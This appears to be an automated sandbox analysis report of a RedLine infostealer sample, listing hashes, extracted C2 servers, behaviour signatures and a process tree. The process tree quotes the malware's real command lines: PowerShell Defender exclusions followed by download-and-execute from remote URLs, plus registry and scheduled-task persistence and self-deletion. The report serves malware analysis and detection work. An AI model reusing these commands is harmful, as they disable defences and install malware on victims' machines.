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Analysis

  • max time kernel
    413s
  • max time network
    1812s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    21-08-2021 10:21

General

  • Target

    Setup (11).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Family

redline

Botnet

www

C2

185.204.109.146:54891

Extracted

Family

redline

Botnet

Second_7.5K

C2

45.14.49.200:27625

Extracted

Family

redline

C2

205.185.119.191:18846

193.38.55.57:7575

Extracted

Family

redline

Botnet

19.08

C2

95.181.172.100:6795

Extracted

Family

redline

Botnet

20_8_rs

C2

jekorikani.xyz:80

Extracted

Family

redline

Botnet

3

C2

deyrolorme.xyz:80

xariebelal.xyz:80

anihelardd.xyz:80

Extracted

Family

redline

Botnet

@Gerhdhd

C2

46.8.19.177:41228

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 20 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 28 IoCs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 37 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 12 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup (11).exe
    "C:\Users\Admin\AppData\Local\Temp\Setup (11).exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Users\Admin\Documents\T8k7ARFu_RJ2iwP6M0r7NQjV.exe
      "C:\Users\Admin\Documents\T8k7ARFu_RJ2iwP6M0r7NQjV.exe"
      2⤵
      • Executes dropped EXE
      PID:1808
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
        3⤵
          PID:2340
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
            4⤵
              PID:2540
        • C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe
          "C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe"
          2⤵
          • Executes dropped EXE
          PID:1668
          • C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe
            C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe
            3⤵
            • Executes dropped EXE
            PID:2400
          • C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe
            C:\Users\Admin\Documents\hbWkFb6uiunCYc0rg37w7vqG.exe
            3⤵
            • Executes dropped EXE
            PID:2224
        • C:\Users\Admin\Documents\Y0Er8QqnUWE4byJJzEPqMNPb.exe
          "C:\Users\Admin\Documents\Y0Er8QqnUWE4byJJzEPqMNPb.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:860
        • C:\Users\Admin\Documents\GtbvEY7giyxz8C0h1g4ChtyU.exe
          "C:\Users\Admin\Documents\GtbvEY7giyxz8C0h1g4ChtyU.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:1708
          • C:\Users\Admin\Documents\GtbvEY7giyxz8C0h1g4ChtyU.exe
            C:\Users\Admin\Documents\GtbvEY7giyxz8C0h1g4ChtyU.exe
            3⤵
            • Executes dropped EXE
            PID:1264
        • C:\Users\Admin\Documents\S_5AT3vdAotHYXPHnzUYoBiL.exe
          "C:\Users\Admin\Documents\S_5AT3vdAotHYXPHnzUYoBiL.exe"
          2⤵
          • Executes dropped EXE
          • Checks BIOS information in registry
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
        • C:\Users\Admin\Documents\poJ4q_F53597NZejBYdMOGPa.exe
          "C:\Users\Admin\Documents\poJ4q_F53597NZejBYdMOGPa.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:940
          • C:\Users\Admin\Documents\poJ4q_F53597NZejBYdMOGPa.exe
            C:\Users\Admin\Documents\poJ4q_F53597NZejBYdMOGPa.exe
            3⤵
            • Executes dropped EXE
            PID:2168
        • C:\Users\Admin\Documents\Fwuj4bumzsRpXPg_ZOr5iCdy.exe
          "C:\Users\Admin\Documents\Fwuj4bumzsRpXPg_ZOr5iCdy.exe"
          2⤵
          • Executes dropped EXE
          PID:1552
          • C:\Users\Admin\Documents\Fwuj4bumzsRpXPg_ZOr5iCdy.exe
            "C:\Users\Admin\Documents\Fwuj4bumzsRpXPg_ZOr5iCdy.exe"
            3⤵
              PID:2760
          • C:\Users\Admin\Documents\VRyMLCGXgbI7yxT5CUQ8JIOp.exe
            "C:\Users\Admin\Documents\VRyMLCGXgbI7yxT5CUQ8JIOp.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:800
          • C:\Users\Admin\Documents\hgbDoMb7K4HpIH06e97NgIrQ.exe
            "C:\Users\Admin\Documents\hgbDoMb7K4HpIH06e97NgIrQ.exe"
            2⤵
            • Executes dropped EXE
            • Checks BIOS information in registry
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of AdjustPrivilegeToken
            PID:1332
          • C:\Users\Admin\Documents\2KH9Ola4Aezhf_1cFe1S3UFU.exe
            "C:\Users\Admin\Documents\2KH9Ola4Aezhf_1cFe1S3UFU.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:268
            • C:\Users\Admin\AppData\Roaming\8319625.exe
              "C:\Users\Admin\AppData\Roaming\8319625.exe"
              3⤵
              • Executes dropped EXE
              PID:2776
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 2776 -s 1744
                4⤵
                • Program crash
                PID:360
            • C:\Users\Admin\AppData\Roaming\8549483.exe
              "C:\Users\Admin\AppData\Roaming\8549483.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2944
            • C:\Users\Admin\AppData\Roaming\2835018.exe
              "C:\Users\Admin\AppData\Roaming\2835018.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              PID:2900
              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                4⤵
                • Executes dropped EXE
                PID:2056
          • C:\Users\Admin\Documents\QBmnNS3g2G93pqXwzBrQI8hw.exe
            "C:\Users\Admin\Documents\QBmnNS3g2G93pqXwzBrQI8hw.exe"
            2⤵
              PID:1352
            • C:\Users\Admin\Documents\7nucaaDdiZ7uWMkxrlLw9vhm.exe
              "C:\Users\Admin\Documents\7nucaaDdiZ7uWMkxrlLw9vhm.exe"
              2⤵
              • Executes dropped EXE
              PID:1576
            • C:\Users\Admin\Documents\ejX6fy5T0Rwefu3U19FImycC.exe
              "C:\Users\Admin\Documents\ejX6fy5T0Rwefu3U19FImycC.exe"
              2⤵
              • Executes dropped EXE
              PID:1560
              • C:\Users\Admin\Documents\ejX6fy5T0Rwefu3U19FImycC.exe
                C:\Users\Admin\Documents\ejX6fy5T0Rwefu3U19FImycC.exe
                3⤵
                  PID:3044
              • C:\Users\Admin\Documents\r3O7yjqLWLmvYiRrqSbQ69Zw.exe
                "C:\Users\Admin\Documents\r3O7yjqLWLmvYiRrqSbQ69Zw.exe"
                2⤵
                • Executes dropped EXE
                PID:1480
              • C:\Users\Admin\Documents\pIgknrzoTZlAmK2ZgDORyJMK.exe
                "C:\Users\Admin\Documents\pIgknrzoTZlAmK2ZgDORyJMK.exe"
                2⤵
                • Executes dropped EXE
                PID:2460
                • C:\Users\Admin\Documents\pIgknrzoTZlAmK2ZgDORyJMK.exe
                  "C:\Users\Admin\Documents\pIgknrzoTZlAmK2ZgDORyJMK.exe" -q
                  3⤵
                  • Executes dropped EXE
                  PID:2932
              • C:\Users\Admin\Documents\xPaDWHFCZZQUFZAUpxiUJJMW.exe
                "C:\Users\Admin\Documents\xPaDWHFCZZQUFZAUpxiUJJMW.exe"
                2⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:2512
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2512 -s 872
                  3⤵
                  • Loads dropped DLL
                  • Program crash
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:584
              • C:\Users\Admin\Documents\gKbsiZTKkwoxwpY6ALmIW9nu.exe
                "C:\Users\Admin\Documents\gKbsiZTKkwoxwpY6ALmIW9nu.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2500
              • C:\Users\Admin\Documents\phoPRP4GciAQMAE9NFtW5gRJ.exe
                "C:\Users\Admin\Documents\phoPRP4GciAQMAE9NFtW5gRJ.exe"
                2⤵
                • Executes dropped EXE
                PID:2556
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im "phoPRP4GciAQMAE9NFtW5gRJ.exe" /f & erase "C:\Users\Admin\Documents\phoPRP4GciAQMAE9NFtW5gRJ.exe" & exit
                  3⤵
                    PID:1888
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im "phoPRP4GciAQMAE9NFtW5gRJ.exe" /f
                      4⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2428
                • C:\Users\Admin\Documents\ZacL18ohdKBx4lz8LjtZSN5o.exe
                  "C:\Users\Admin\Documents\ZacL18ohdKBx4lz8LjtZSN5o.exe"
                  2⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2580
                • C:\Users\Admin\Documents\O_gS78RApzvvZLqQ__zh7Gf0.exe
                  "C:\Users\Admin\Documents\O_gS78RApzvvZLqQ__zh7Gf0.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:2680
              • C:\Users\Admin\AppData\Local\Temp\E89B.exe
                C:\Users\Admin\AppData\Local\Temp\E89B.exe
                1⤵
                  PID:1516
                • C:\Users\Admin\AppData\Local\Temp\BF99.exe
                  C:\Users\Admin\AppData\Local\Temp\BF99.exe
                  1⤵
                    PID:2568
                  • C:\Users\Admin\AppData\Local\Temp\F4DC.exe
                    C:\Users\Admin\AppData\Local\Temp\F4DC.exe
                    1⤵
                      PID:2716
                      • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                        "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe"
                        2⤵
                          PID:1912
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                            3⤵
                              PID:568
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                                4⤵
                                  PID:2732
                              • C:\Windows\SysWOW64\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe" /F
                                3⤵
                                • Creates scheduled task(s)
                                PID:3052
                          • C:\Windows\system32\taskeng.exe
                            taskeng.exe {A9C05839-59E7-4036-ADDC-F0997983D4DA} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
                            1⤵
                              PID:968
                              • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                                C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                                2⤵
                                  PID:3028
                                • C:\Users\Admin\AppData\Roaming\aggwsfh
                                  C:\Users\Admin\AppData\Roaming\aggwsfh
                                  2⤵
                                    PID:2728

                                Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • memory/268-121-0x00000000003E0000-0x00000000003E1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/268-128-0x0000000000250000-0x000000000026C000-memory.dmp

                                  Filesize

                                  112KB

                                • memory/800-129-0x0000000000D80000-0x0000000000D81000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/860-167-0x0000000000940000-0x0000000000941000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/940-164-0x0000000000B50000-0x0000000000B51000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1264-207-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/1264-202-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/1332-165-0x0000000000930000-0x0000000000931000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1480-215-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1516-229-0x0000000002500000-0x000000000251A000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/1516-228-0x0000000000310000-0x000000000032C000-memory.dmp

                                  Filesize

                                  112KB

                                • memory/1560-161-0x0000000000990000-0x0000000000991000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1576-125-0x0000000000120000-0x0000000000132000-memory.dmp

                                  Filesize

                                  72KB

                                • memory/1576-115-0x00000000000F0000-0x0000000000100000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/1708-152-0x0000000000E40000-0x0000000000E41000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1800-170-0x00000000011A0000-0x00000000011A1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1808-114-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1808-109-0x00000000002E0000-0x00000000002E1000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/1808-116-0x000000001AAB0000-0x000000001AAB2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2020-60-0x0000000075D41000-0x0000000075D43000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2020-61-0x0000000003D20000-0x0000000003E5F000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2056-200-0x0000000000B70000-0x0000000000B71000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2168-212-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/2168-206-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/2224-208-0x0000000000400000-0x0000000000402000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2500-199-0x0000000004800000-0x000000000481A000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/2500-197-0x00000000003E0000-0x00000000003FC000-memory.dmp

                                  Filesize

                                  112KB

                                • memory/2540-146-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2580-173-0x0000000000870000-0x0000000000871000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2776-217-0x00000000001D0000-0x00000000001FB000-memory.dmp

                                  Filesize

                                  172KB

                                • memory/2776-185-0x0000000000200000-0x0000000000201000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2900-192-0x0000000000290000-0x0000000000296000-memory.dmp

                                  Filesize

                                  24KB

                                • memory/2900-190-0x0000000000A40000-0x0000000000A41000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2944-210-0x00000000003B0000-0x00000000003E2000-memory.dmp

                                  Filesize

                                  200KB

                                • memory/2944-196-0x0000000000050000-0x0000000000051000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/3044-225-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/3044-223-0x0000000000400000-0x000000000041E000-memory.dmp

                                  Filesize

                                  120KB